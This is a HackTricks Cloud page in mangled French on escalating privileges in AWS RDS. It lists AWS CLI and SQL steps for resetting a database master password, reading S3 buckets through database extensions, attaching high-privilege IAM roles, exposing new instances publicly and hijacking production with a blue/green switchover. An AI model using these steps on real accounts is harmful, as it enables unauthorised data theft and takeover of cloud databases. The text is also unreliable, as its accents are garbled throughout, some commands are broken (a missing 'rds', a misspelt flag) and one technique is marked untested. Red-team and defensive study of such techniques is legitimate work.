AWS - RDS Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
RDS - Relational Database Service
Pour plus dâinformations sur RDS, consultez :
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Avec cette permission, un attaquant peut modifier le mot de passe du master user, et le login Ă lâintĂ©rieur de la base de donnĂ©es:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Vous devrez ĂȘtre capable de contacter la base de donnĂ©es (elles sont gĂ©nĂ©ralement accessibles uniquement depuis des rĂ©seaux internes).
Impact potentiel : Trouver des informations sensibles Ă lâintĂ©rieur des bases de donnĂ©es.
rds-db:connect
According to the docs a user with this permission could connect to the DB instance.
Abuse RDS Role IAM permissions
Postgresql (Aurora)
Tip
If running
SELECT datname FROM pg_database;you find a database calledrdsadminyou know you are inside an AWS postgresql database.Tout dâabord, vous pouvez vĂ©rifier si cette base de donnĂ©es a Ă©tĂ© utilisĂ©e pour accĂ©der Ă dâautres services AWS. Vous pouvez vĂ©rifier cela en regardant les extensions installĂ©es :
SELECT * FROM pg_extension;
Si vous trouvez quelque chose comme aws_s3, vous pouvez supposer que cette base de donnĂ©es a un accĂšs quelconque Ă S3 (il existe dâautres extensions comme aws_ml et aws_lambda).
De plus, si vous avez les permissions pour exĂ©cuter aws rds describe-db-clusters, vous pouvez y voir si le cluster a un IAM Role attachĂ© dans le champ AssociatedRoles. Si câest le cas, vous pouvez supposer que la base de donnĂ©es a Ă©tĂ© prĂ©parĂ©e pour accĂ©der Ă dâautres services AWS. DâaprĂšs le nom du rĂŽle (ou si vous pouvez obtenir les permissions du rĂŽle), vous pouvez deviner quels accĂšs supplĂ©mentaires la base de donnĂ©es possĂšde.
Maintenant, pour lire un fichier dans un bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec :
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Si vous aviez des identifiants AWS bruts, vous pourriez également les utiliser pour accéder aux données S3 avec :
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql nâa pas besoin de modifier une variable de groupe de paramĂštres pour pouvoir accĂ©der Ă S3.
Mysql (Aurora)
Tip
Dans un mysql, si vous exĂ©cutez la requĂȘte
SELECT User, Host FROM mysql.user;et quâil existe un utilisateur appelĂ©rdsadmin, vous pouvez supposer que vous ĂȘtes Ă lâintĂ©rieur dâune AWS RDS mysql db.
Ă lâintĂ©rieur du mysql, exĂ©cutez show variables; et si des variables telles que aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role ont des valeurs, vous pouvez supposer que la base de donnĂ©es est prĂ©parĂ©e pour accĂ©der aux donnĂ©es S3.
De plus, si vous avez les permissions pour exécuter aws rds describe-db-clusters vous pouvez vérifier si le cluster a un rÎle associé, ce qui signifie généralement un accÚs aux services AWS).
Maintenant, pour lire un fichier inside a bucket vous devez connaĂźtre le chemin complet. Vous pouvez le lire avec:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Un attaquant disposant des permissions rds:AddRoleToDBCluster et iam:PassRole peut ajouter un rĂŽle spĂ©cifiĂ© Ă une instance RDS existante. Cela pourrait permettre Ă lâattaquant dâaccĂ©der Ă des donnĂ©es sensibles ou de modifier les donnĂ©es contenues dans lâinstance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Impact potentiel: AccĂšs Ă des donnĂ©es sensibles ou modifications non autorisĂ©es des donnĂ©es dans lâinstance RDS.
Notez que certaines bases de données nécessitent des configurations supplémentaires, comme Mysql, qui nécessite également de spécifier le role ARN dans les parameter groups.
rds:CreateDBInstance
Avec cette seule permission, un attaquant pourrait crĂ©er une nouvelle instance Ă lâintĂ©rieur dâun cluster qui existe dĂ©jĂ et auquel est attachĂ© un IAM role. Il ne pourra pas changer le mot de passe du master user, mais il pourrait exposer la nouvelle instance de base de donnĂ©es Ă Internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO : Tester
Un attaquant disposant des permissions rds:CreateDBInstance et iam:PassRole peut crĂ©er une nouvelle instance RDS avec un rĂŽle spĂ©cifiĂ© attachĂ©. Lâattaquant peut alors potentiellement accĂ©der Ă des donnĂ©es sensibles ou modifier les donnĂ©es contenues dans lâinstance.
Warning
Quelques exigences du rĂŽle/instance-profile Ă attacher (from here):
- The profile must exist in your account.
- The profile must have an IAM role that Amazon EC2 has permissions to assume.
- The instance profile name and the associated IAM role name must start with the prefix
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Impact potentiel : AccĂšs Ă des donnĂ©es sensibles ou modifications non autorisĂ©es des donnĂ©es dans lâinstance RDS.
rds:AddRoleToDBInstance, iam:PassRole
Un attaquant disposant des permissions rds:AddRoleToDBInstance et iam:PassRole peut ajouter un rĂŽle spĂ©cifiĂ© Ă une instance RDS existante. Cela pourrait permettre Ă lâattaquant dâaccĂ©der Ă des donnĂ©es sensibles ou de modifier les donnĂ©es contenues dans lâinstance.
Warning
Lâinstance DB doit ĂȘtre en dehors dâun cluster pour cela
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Impact potentiel: AccĂšs Ă des donnĂ©es sensibles ou modifications non autorisĂ©es des donnĂ©es de lâinstance RDS.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Un attaquant disposant de ces permissions peut cloner une base de donnĂ©es de production (Blue), attacher un rĂŽle IAM Ă hautes privilĂšges au clone (Green), puis utiliser switchover pour remplacer lâenvironnement de production. Cela permet Ă lâattaquant dâĂ©lever les privilĂšges de la base de donnĂ©es et dâobtenir un accĂšs non autorisĂ© Ă dâautres ressources AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Impact potentiel: Prise de contrĂŽle complĂšte de lâenvironnement de base de donnĂ©es de production. AprĂšs la bascule, la base de donnĂ©es fonctionne avec des privilĂšges Ă©levĂ©s, permettant un accĂšs non autorisĂ© Ă dâautres services AWS (p.ex., S3, Lambda, Secrets Manager) depuis la base de donnĂ©es.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

